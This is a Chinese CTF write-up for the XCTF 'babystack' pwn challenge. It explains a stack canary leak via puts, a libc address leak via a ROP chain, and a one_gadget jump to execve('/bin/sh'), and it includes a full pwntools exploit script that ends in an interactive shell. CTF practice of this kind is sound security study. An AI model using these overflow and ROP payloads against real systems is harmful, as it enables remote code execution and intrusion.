XCTF PWN高手进阶区之babystack

此题,开启了RELRO、NX、CANARY,未开启PIE,只有read函数溢出存在溢出可能。
第一,泄露canary,程序会通过puts函数输出缓冲区s的内容。puts函数在输出时,只有遇到\0才会结束,而缓冲区s又和main函数的canary相连,此时,输入和缓冲区大小相等的字符串,溢出的\n将会覆盖canary的第一字节00,从而将canary的后三个字节输出,构建canary。
第二,获取shell。
尝试通过DynELF,leak 泄露libc system地址,发现每次执行输出的内容不相同,有时会报检测到栈溢出(stack smashing detected),有时不会。放弃。
通过read函数写入/bin/sh,调用system函数,未找到pop rdi,pop rsi, pop rdx ret。放弃
最后,通过ong_gadget找到execve(’/bin/sh’)的地址执行。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘35429’)
elf=ELF(’./babystack’)
puts_plt=elf.plt[‘puts’]
puts_got=elf.got[‘puts’]
start_addr=0x400720
ebp=0x400a30
pop_ret=0x400a92
pop_rdi=0x400a93
libc=ELF(’./libc-2.23.so’)
print p.recv()
print p.sendline(“1”)
payload=‘a’*130+‘b’*6
p.sendline(payload)
print p.recvuntil(">>")
p.sendline(“2”)
print p.recvuntil(‘bbbb’)
canary=p.recv()[3:10].rjust(8,’\0’)
print “%016x”%u64(canary)
p.sendlineafter(">> “,‘1’)
payload=‘a’*136+canary+p64(ebp)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
p.sendline(payload)
p.sendlineafter(”>> “,‘3’)
data= p.recv(7).ljust(8,’\0’)
print “puts_got:”+hex(u64(data))
base_addr=u64(data)-libc.sym[‘puts’]
print “base:”+hex(base_addr)
system_addr=libc.sym[‘system’]+base_addr
execve_addr=0x45216+base_addr
print hex(libc.sym[‘execve’]+base_addr)
payload=‘a’*136+canary+p64(ebp)+p64(execve_addr)
print p.sendlineafter(”>> “,“1”)
p.sendline(payload)
print p.sendlineafter(”>> ",“3”)
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值